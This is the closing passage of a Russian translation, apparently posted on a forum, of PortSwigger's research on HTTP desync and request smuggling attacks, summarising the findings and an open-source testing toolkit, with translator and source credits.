Основываясь на исследованиях, которые упускались из виду в течение многих лет, я представил новые методы десинхронизации серверов и продемонстрировал новые способы использования результатов с использованием многочисленных реальных веб-сайтов в качестве тематических исследований. Благодаря этому я показал, что контрабанда запросов представляет собой серьезную угрозу для Интернета, что синтаксический анализ HTTP-запросов является критически важной функцией безопасности и что допускать неоднозначные сообщения опасно. Я также выпустил методологию и набор инструментов с открытым исходным кодом, чтобы помочь людям проверять контрабанду запросов, доказывать результативность и получать награды с минимальным риском.
Эта тема все еще недостаточно изучена, и, как таковая, я надеюсь, что эта публикация поможет вдохновить новые методы десинхронизации и эксплойты в течение следующих нескольких лет.
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn
Последнее редактирование модератором: